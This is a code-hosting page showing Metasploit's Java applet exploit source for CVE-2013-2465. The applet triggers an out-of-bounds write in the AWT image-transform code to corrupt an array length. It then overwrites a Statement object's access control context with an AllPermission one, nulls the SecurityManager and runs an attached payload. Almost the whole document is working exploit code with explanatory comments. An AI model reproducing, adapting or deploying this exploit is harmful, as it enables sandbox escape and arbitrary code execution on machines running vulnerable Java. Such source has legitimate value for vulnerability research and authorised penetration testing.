Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/exploits/CVE-2013-2465/Exploit.java
Views: 11780
import java.awt.image.*;1import java.awt.color.*;2import java.beans.Statement;3import java.security.*;4import metasploit.Payload;5import java.applet.Applet;67public class Exploit extends Applet {89public void init() {1011try {1213// try several attempts to exploit14for(int i=1; i <= 5 && System.getSecurityManager() != null; i++){15//System.out.println("Attempt #" + i);16tryExpl();17}1819// check results20if (System.getSecurityManager() == null) {21// execute payload22//Runtime.getRuntime().exec(_isMac ? "/Applications/Calculator.app/Contents/MacOS/Calculator":"calc.exe");23Payload.main(null);24}2526} catch (Exception ex) {27//ex.printStackTrace();28}29}3031public static String toHex(int i)32{33return Integer.toHexString(i);34}3536private boolean _is64 = System.getProperty("os.arch","").contains("64");3738// we will need ColorSpace which returns 1 from getNumComponents()39class MyColorSpace extends ICC_ColorSpace40{41public MyColorSpace()42{43super(ICC_Profile.getInstance(ColorSpace.CS_sRGB));44}4546// override getNumComponents47public int getNumComponents()48{49int res = 1;50return res;51}52}5354// we will need ComponentColorModel with the obedient isCompatibleRaster() which always returns true.55class MyColorModel extends ComponentColorModel56{57public MyColorModel()58{59super(new MyColorSpace(), new int[]{8,8,8}, false, false, 1, DataBuffer.TYPE_BYTE);60}6162// override isCompatibleRaster63public boolean isCompatibleRaster(Raster r)64{65boolean res = true;66return res;67}68}697071private int tryExpl()72{73try {74// alloc aux vars75String name = "setSecurityManager";76Object[] o1 = new Object[1];77Object o2 = new Statement(System.class, name, o1); // make a dummy call for init7879// allocate byte buffer for destination Raster.80DataBufferByte dst = new DataBufferByte(16);8182// allocate the target array right after dst83int[] a = new int[8];84// allocate an object array right after a[]85Object[] oo = new Object[7];8687// create Statement with the restricted AccessControlContext88oo[2] = new Statement(System.class, name, o1);8990// create powerful AccessControlContext91Permissions ps = new Permissions();92ps.add(new AllPermission());93oo[3] = new AccessControlContext(94new ProtectionDomain[]{95new ProtectionDomain(96new CodeSource(97new java.net.URL("file:///"),98new java.security.cert.Certificate[0]99),100ps101)102}103);104105// store System.class pointer in oo[]106oo[4] = ((Statement)oo[2]).getTarget();107108// save old a.length109int oldLen = a.length;110//System.out.println("a.length = 0x" + toHex(oldLen));111112// create regular source image113BufferedImage bi1 = new BufferedImage(4,1, BufferedImage.TYPE_INT_ARGB);114115// prepare the sample model with "dataBitOffset" pointing outside dst[] onto a.length116MultiPixelPackedSampleModel sm = new MultiPixelPackedSampleModel(DataBuffer.TYPE_BYTE, 4,1,1,4, 44 + (_is64 ? 8:0));117// create malformed destination image based on dst[] data118WritableRaster wr = Raster.createWritableRaster(sm, dst, null);119BufferedImage bi2 = new BufferedImage(new MyColorModel(), wr, false, null);120121// prepare first pixel which will overwrite a.length122bi1.getRaster().setPixel(0,0, new int[]{-1,-1,-1,-1});123124// call the vulnerable storeImageArray() function (see ...\jdk\src\share\native\sun\awt\medialib\awt_ImagingLib.c)125AffineTransformOp op = new AffineTransformOp(new java.awt.geom.AffineTransform(1,0,0,1,0,0), null);126op.filter(bi1, bi2);127128// check results: a.length should be overwritten by 0xFFFFFFFF129int len = a.length;130//System.out.println("a.length = 0x" + toHex(len));131if (len == oldLen) {132// check a[] content corruption // for RnD133for(int i=0; i < len; i++) {134if (a[i] != 0) {135//System.out.println("a["+i+"] = 0x" + toHex(a[i]));136}137}138// exit139//System.out.println("error 1");140return 1;141}142143// ok, now we can read/write outside the real a[] storage,144// lets find our Statement object and replace its private "acc" field value145146// search for oo[] after a[oldLen]147boolean found = false;148int ooLen = oo.length;149for(int i=oldLen+2; i < oldLen+32; i++)150if (a[i-1]==ooLen && a[i]==0 && a[i+1]==0 // oo[0]==null && oo[1]==null151&& a[i+2]!=0 && a[i+3]!=0 && a[i+4]!=0 // oo[2,3,4] != null152&& a[i+5]==0 && a[i+6]==0) // oo[5,6] == null153{154// read pointer from oo[4]155int stmTrg = a[i+4];156// search for the Statement.target field behind oo[]157for(int j=i+7; j < i+7+64; j++){158if (a[j] == stmTrg) {159// overwrite default Statement.acc by oo[3] ("AllPermission")160a[j-1] = a[i+3];161found = true;162break;163}164}165if (found) break;166}167168// check results169if (!found) {170// print the memory dump on error // for RnD171String s = "a["+oldLen+"...] = ";172for(int i=oldLen; i < oldLen+32; i++) s += toHex(a[i]) + ",";173//System.out.println(s);174} else try {175176// call System.setSecurityManager(null)177((Statement)oo[2]).execute();178179// show results: SecurityManager should be null180} catch (Exception ex) {181//ex.printStackTrace();182}183184//System.out.println(System.getSecurityManager() == null ? "Ok.":"Fail.");185186} catch (Exception ex) {187//ex.printStackTrace();188}189190return 0;191}192193}194195196197198199